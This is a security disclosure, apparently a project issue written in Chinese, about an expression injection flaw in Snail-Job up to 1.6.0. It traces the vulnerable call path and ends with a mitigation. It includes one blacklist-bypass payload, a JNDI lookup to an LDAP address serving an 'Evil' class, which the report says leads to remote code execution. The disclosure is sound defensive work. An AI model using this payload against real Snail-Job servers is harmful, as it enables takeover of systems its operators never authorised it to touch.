An Expression Injection Vulnerability in Snail-job

### 基本信息

- snail-job 版本：<= 1.6.0
- 操作系统：macOS
- 数据库类型：

### 漏洞分析
Snail-Job <= 1.6.0 存在表达式注入漏洞，其原因在于 QLExpressEngine#doEval 方法对用户可控表达式的解析过程中缺乏严格的安全限制。攻击者可通过 `/workflow/check-node-expression` 接口传入精心构造的数据，引导服务端使用 QLExpress 作为表达式引擎来解析传入的表达式，进而触发表达式注入攻击，可实现远程代码执行（RCE）等攻击效果。

#### 漏洞代码利用路径追踪和复现
1. 漏洞位置 `QLExpressEngine.doEval`
```java
/**
 * QL表达式解析器
 *
 * @author opensnail
 * @date 2023-09-10 17:40:34
 * @since 2.3.0
 */
public class QLExpressEngine extends AbstractExpressionEngine {

private static final ExpressRunner ENGINE = new ExpressRunner();

@Override
    protected Object doEval(String expression, Map<String, Object> context) {

final DefaultContext<String, Object> defaultContext = new DefaultContext<>();
        defaultContext.putAll(context);
        try {
            return ENGINE.execute(expression, defaultContext, null, true, false); // sink
        } catch (Exception e) {
            throw new SnailJobCommonException("QL expression parsing exception. expression:[{}] context:[{}]",
                    expression, JsonUtil.toJsonString(context), e);
        }

}
}
```

2. 调用路径
用户端请求 → WorkflowController.checkNodeExpression() 
         → WorkflowServiceImpl.checkNodeExpression() 
         → ExpressionEngine.eval() 
         → AbstractExpressionEngine.eval() 
         → QLExpressEngine.doEval() [漏洞点]
```
@RestController
@RequestMapping("/workflow")
@RequiredArgsConstructor
public class WorkflowController {
    @PostMapping("/check-node-expression")
    @LoginRequired(role = RoleEnum.USER)
    public Pair<Integer, Object> checkNodeExpression(@RequestBody @Validated CheckDecisionVO checkDecisionVO) {
        return workflowService.checkNodeExpression(checkDecisionVO);
    }
}
@Service
@Slf4j
@RequiredArgsConstructor
@Validated
public class WorkflowServiceImpl implements WorkflowService {
    @Override
    public Pair<Integer, Object> checkNodeExpression(CheckDecisionVO decisionVO) {
        try {
            ExpressionEngine realExpressionEngine = ExpressionTypeEnum.valueOf(decisionVO.getExpressionType());
            Assert.notNull(realExpressionEngine, () -> new SnailJobServerException("Expression engine does not exist"));
            ExpressionInvocationHandler invocationHandler = new ExpressionInvocationHandler(realExpressionEngine);
            ExpressionEngine expressionEngine = ExpressionFactory.getExpressionEngine(invocationHandler);
            Object eval = expressionEngine.eval(decisionVO.getNodeExpression(), decisionVO.getCheckContent());
            return Pair.of(StatusEnum.YES.getStatus(), eval);
        } catch (Exception e) {
            SnailJobLog.LOCAL.error("Expression exception. [{}]", decisionVO.getNodeExpression(), e);
            return Pair.of(StatusEnum.NO.getStatus(), e.getMessage());
        }
    }
}

public abstract class AbstractExpressionEngine implements ExpressionEngine {
    @Override
    public Object eval(String expression, Object... t) {

return doEval(expression, (Map<String, Object>) t[0]);
    }

protected abstract Object doEval(String expression, Map<String, Object> context);
}
==> QLExpressEngine.doEval
```

尽管QLExpressionEngine默认启用了黑名单，但仍然存在一些的方式来绕过。（考虑issue为公开场景，此处不给出完整的复现步骤，仅给出关键的绕过已有防护的其中一种payload）
下面给出一种简单的绕过payload: expression = "javax.naming.InitialContext.doLookup(\"ldap://127.0.0.1:8087/Evil\")";

### 漏洞利用效果
远程代码执行，此处设置的指令为 "弹出计算器"

![输入图片说明](https://foruda.gitee.com/images/1753121160536346024/2e846af9_10003980.png "截屏2025-07-22 02.05.00.png")

### 缓解措施建议

将javax.naming.InitialContext.doLookup加入黑名单

GVP aizuda/snail-job

Content Risk Flag

Comments (2)

GVPaizuda/snail-job

Content Risk Flag